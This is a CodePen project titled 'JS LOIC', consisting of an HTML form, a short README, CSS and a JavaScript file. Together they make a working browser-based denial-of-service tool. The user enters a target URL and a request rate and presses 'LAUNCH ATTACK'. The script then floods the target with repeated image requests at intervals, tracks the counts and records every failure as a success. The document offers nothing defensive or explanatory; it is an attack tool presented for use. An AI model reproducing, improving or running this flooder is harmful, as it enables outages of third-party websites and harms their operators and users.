JS LOIC

index.html

<h1 class="main-title">JS LOIC</h1>
<div class="form">
  <div class="target-url">
    <label>Target URL:</label>
    <input id="targetURL" value="" placeholder="Enter target URL here" />
  </div>
  <div class="requests-per-second">
    <label>Requests Per Second:</label>
    <input id="rps" value="10" />
  </div>
  <div class="append-message">
    <label>Append Message:</label>
    <input id="message" value="" placeholder="(Optional)" />
  </div>
  <div class="fire-button">
    <button id="fireButton">LAUNCH ATTACK</button>
  </div>
  <div class="attack-status">
    <h3>Attack Status</h3>
    <div>
      <label class="status-requested">Requested:</label> <strong><span id="requestedCtr">0</span></strong></div>
    <div>
      <label class="status-succeed">Succeed:</label> <strong><span id="succeededCtr">0</span></strong></div>
    <div>
      <label class="status-failed">Failed:</label> <strong><span id="failedCtr">0</span></strong></div>
  </div>
</div>

JS LOIC.md

JS LOIC

A Pen by Heiswayi Nrird on CodePen.

License.

script.js

 (function() {
     var fireInterval;
     var isFiring = false;
     var requestedCtrNode = document.getElementById("requestedCtr"),
         succeededCtrNode = document.getElementById("succeededCtr"),
         failedCtrNode = document.getElementById("failedCtr"),
         targetURLNode = document.getElementById("targetURL"),
         fireButton = document.getElementById("fireButton"),
         messageNode = document.getElementById("message"),
         rpsNode = document.getElementById("rps"),
         timeoutNode = document.getElementById("timeout");
     var targetURL = targetURLNode.value;
     targetURLNode.onchange = function() {
         targetURL = this.value;
     };
     var requestsHT = {}; // requests hash table, may come in handy later
     var requestedCtr = 0,
         succeededCtr = 0,
         failedCtr = 0;
     var makeHttpRequest = function() {
         if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
             return;
         };
         var rID = Number(new Date());
         var img = new Image();
         img.onerror = function() {
             onFail(rID);
         };
         img.onabort = function() {
             onFail(rID);
         };
         img.onload = function() {
             onSuccess(rID);
         }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
         img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
         requestsHT[rID] = img;
         onRequest(rID);
     };
     var onRequest = function(rID) {
         requestedCtr++;
         requestedCtrNode.innerHTML = requestedCtr;
     };
     var onComplete = function(rID) {
         delete requestsHT[rID];
     };
     var onFail = function(rID) {
         // failedCtr++;
         //failedCtrNode.innerHTML = failedCtr;
         succeededCtr++; //Seems like the url will always fail it it isn't an image
         succeededCtrNode.innerHTML = succeededCtr;
         delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
     };
     var onSuccess = function(rID) {
         succeededCtr++;
         succeededCtrNode.innerHTML = succeededCtr;
         delete requestsHT[rID];
     };
     fireButton.onclick = function() {
         if (isFiring) {
             clearInterval(fireInterval);
             isFiring = false;
             this.innerHTML = "LAUNCH ATTACK";
         } else {
             isFiring = true;
             this.innerHTML = "STOP FLOODING";
             fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
         }
     };
 })();

style.css

body {
  font-family: monospace;
  font-size: 16px;
}

.main-title {
  margin: 20px auto;
  text-align: center;
}

.form {
  width: 600px;
  margin: 0 auto;
}

.target-url,
.requests-per-second,
.append-message,
.fire-button,
.attack-status {
  background: #f3f3f3;
  padding: 10px;
  border: 1px solid #ddd;
}

.target-url label,
.requests-per-second label,
.append-message label,
.attack-status label {
  width: 200px;
  display: inline-block;
  text-align: right;
}

.fire-button button,
.attack-status h3 {
  margin-left: 203px;
}

.target-url input,
.append-message input {
  width: 300px;
}

.requests-per-second input {
  width: 100px;
}

#requestedCtr {
  background-color: yellow;
  padding-left: 5px;
  padding-right: 5px;
}

#succeededCtr {
  background-color: green;
  color: white;
  padding-left: 5px;
  padding-right: 5px;
}

#failedCtr {
  background-color: red;
  color: white;
  padding-left: 5px;
  padding-right: 5px;
}

.attack-status div {
  margin-bottom: 10px;
}

.attack-status h3 {
  color: #666;
}

input, button {
  padding: 5px;
}

button {
  font-weight: bold;
}